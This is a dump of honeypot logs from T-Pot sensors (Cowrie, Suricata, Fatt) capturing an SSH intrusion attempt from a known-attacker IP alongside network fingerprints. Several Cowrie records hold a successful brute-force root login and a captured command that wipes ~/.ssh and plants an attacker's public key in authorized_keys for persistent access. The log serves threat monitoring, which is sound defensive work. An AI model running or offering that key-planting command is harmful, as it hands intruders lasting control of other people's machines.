33516	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:14.368808+03	2021-09-20 15:00:05.960723+03	{"_id": "aQYQA3wBvYTbRNuEWFAH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "src_ip": "120.36.157.98", "ttylog": "log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0 seconds", "session": "60e8465f283a", "@version": "1", "duration": 0.5772547721862793, "duplicate": true, "timestamp": "2021-09-20T11:56:14.368808Z", "@timestamp": "2021-09-20T11:56:14.368Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33518	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:56:14.994946+03	2021-09-20 15:00:05.962722+03	{"_id": "cwYQA3wBvYTbRNuEWlBZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35854, "dest_port": 443, "timestamp": "2021-09-20T11:56:14.994946", "@timestamp": "2021-09-20T11:56:14.994Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
33519	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:56:15.035008+03	2021-09-20 15:00:05.964722+03	{"_id": "dAYQA3wBvYTbRNuEWlBZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35854, "timestamp": "2021-09-20T11:56:15.035008", "@timestamp": "2021-09-20T11:56:15.035Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
33520	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:06.945712+03	2021-09-20 15:00:05.965723+03	{"_id": "TgYQA3wBvYTbRNuEOFDB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "08957736cca8", "@version": "1", "timestamp": "2021-09-20T11:56:06.945712Z", "@timestamp": "2021-09-20T11:56:06.945Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
33521	120.36.157.98	109.199.241.180	Suricata	2021-09-20 14:56:06.94154+03	2021-09-20 15:00:05.966722+03	{"_id": "UAYQA3wBvYTbRNuEOlAM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "120.36.157.98", "dest_ip": "192.168.20.116", "flow_id": 198332846084311, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 16100, "dest_port": 22, "timestamp": "2021-09-20T11:56:06.941540Z", "@timestamp": "2021-09-20T11:56:06.941Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
33522	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:56:06.65757+03	2021-09-20 15:00:05.968722+03	{"_id": "UQYQA3wBvYTbRNuEO1AW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "120.36.157.98", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 16100, "timestamp": "2021-09-20T11:56:06.657570", "@timestamp": "2021-09-20T11:56:06.657Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
33523	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:09.90461+03	2021-09-20 15:00:05.969722+03	{"_id": "VwYQA3wBvYTbRNuERFB7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.command.input", "message": "CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "session": "60e8465f283a", "@version": "1", "timestamp": "2021-09-20T11:56:09.904610Z", "@timestamp": "2021-09-20T11:56:09.904Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33524	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:06.072448+03	2021-09-20 15:00:05.970721+03	{"_id": "RQYQA3wBvYTbRNuENFDY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.login.success", "message": "login attempt [root/4444] succeeded", "session": "60e8465f283a", "@version": "1", "password": "4444", "username": "root", "timestamp": "2021-09-20T11:56:06.072448Z", "@timestamp": "2021-09-20T11:56:06.072Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.success	\N	known attacker	\N
33525	192.168.20.103	109.199.241.180	Suricata	2021-09-20 14:56:05.953743+03	2021-09-20 15:00:05.971722+03	{"_id": "RgYQA3wBvYTbRNuENlAj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.251", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:56:05.953743Z", "@timestamp": "2021-09-20T11:56:05.953Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
33526	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:06.653821+03	2021-09-20 15:00:05.973722+03	{"_id": "TwYQA3wBvYTbRNuEOFDB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 120.36.157.98:16100 (192.168.176.2:22) [session: 08957736cca8]", "session": "08957736cca8", "@version": "1", "protocol": "ssh", "src_port": 16100, "dest_port": 22, "timestamp": "2021-09-20T11:56:06.653821Z", "@timestamp": "2021-09-20T11:56:06.653Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
33527	120.36.157.98	109.199.241.180	Fatt	2021-09-20 14:56:06.945094+03	2021-09-20 15:00:05.974722+03	{"_id": "UgYQA3wBvYTbRNuEO1AW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "120.36.157.98", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 16100, "dest_port": 22, "timestamp": "2021-09-20T11:56:06.945094", "@timestamp": "2021-09-20T11:56:06.945Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
33528	fe80:0000:0000:0000:0086:403d:72ff:040f	109.199.241.180	Suricata	2021-09-20 14:56:07.993127+03	2021-09-20 15:00:05.976724+03	{"_id": "UwYQA3wBvYTbRNuEPVD0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:56:04.981311+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 220}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:0086:403d:72ff:040f", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1184755837368639, "payload": "AAAAAgQAAAD/AgAAAAAAAAAAAAL/WdSrBAAAAP8CAAAAAAAA", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:56:07.993127Z", "@timestamp": "2021-09-20T11:56:07.993Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".....................Y.............."}}	1	\N	\N	alert	\N	\N
33529	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:08.182272+03	2021-09-20 15:00:05.977723+03	{"_id": "VQYQA3wBvYTbRNuEQFCS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.login.failed", "message": "login attempt [knockknockwhosthere/knockknockwhosthere] failed", "session": "08957736cca8", "@version": "1", "password": "knockknockwhosthere", "username": "knockknockwhosthere", "timestamp": "2021-09-20T11:56:08.182272Z", "@timestamp": "2021-09-20T11:56:08.182Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
33530	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:09.904066+03	2021-09-20 15:00:05.979722+03	{"_id": "VgYQA3wBvYTbRNuERFB7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.session.params", "message": [], "session": "60e8465f283a", "@version": "1", "timestamp": "2021-09-20T11:56:09.904066Z", "@timestamp": "2021-09-20T11:56:09.904Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33531	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:11.466697+03	2021-09-20 15:00:05.980721+03	{"_id": "YAYQA3wBvYTbRNuETFBN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99", "src_ip": "120.36.157.98", "ttylog": "log/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0 seconds", "session": "60e8465f283a", "@version": "1", "duration": 0.5778651237487793, "duplicate": true, "timestamp": "2021-09-20T11:56:11.466697Z", "@timestamp": "2021-09-20T11:56:11.466Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33532	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:12.159463+03	2021-09-20 15:00:05.981722+03	{"_id": "YgYQA3wBvYTbRNuEUFA2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 0, "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "4b752bd9c2b019ab026b7c3ae6300fd1fd7e58653bf4c414600e8a3c44b8495e", "src_ip": "120.36.157.98", "ttylog": "log/tty/4b752bd9c2b019ab026b7c3ae6300fd1fd7e58653bf4c414600e8a3c44b8495e", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/4b752bd9c2b019ab026b7c3ae6300fd1fd7e58653bf4c414600e8a3c44b8495e after 0 seconds", "session": "60e8465f283a", "@version": "1", "duration": 0.2925257682800293, "duplicate": false, "timestamp": "2021-09-20T11:56:12.159463Z", "@timestamp": "2021-09-20T11:56:12.159Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33533	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:14.763724+03	2021-09-20 15:00:05.982722+03	{"_id": "agYQA3wBvYTbRNuEWFAH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.session.params", "message": [], "session": "60e8465f283a", "@version": "1", "timestamp": "2021-09-20T11:56:14.763724Z", "@timestamp": "2021-09-20T11:56:14.763Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33534	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:14.764316+03	2021-09-20 15:00:05.984723+03	{"_id": "awYQA3wBvYTbRNuEWFAH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "ls -lh $(which ls)", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.command.input", "message": "CMD: ls -lh $(which ls)", "session": "60e8465f283a", "@version": "1", "timestamp": "2021-09-20T11:56:14.764316Z", "@timestamp": "2021-09-20T11:56:14.764Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
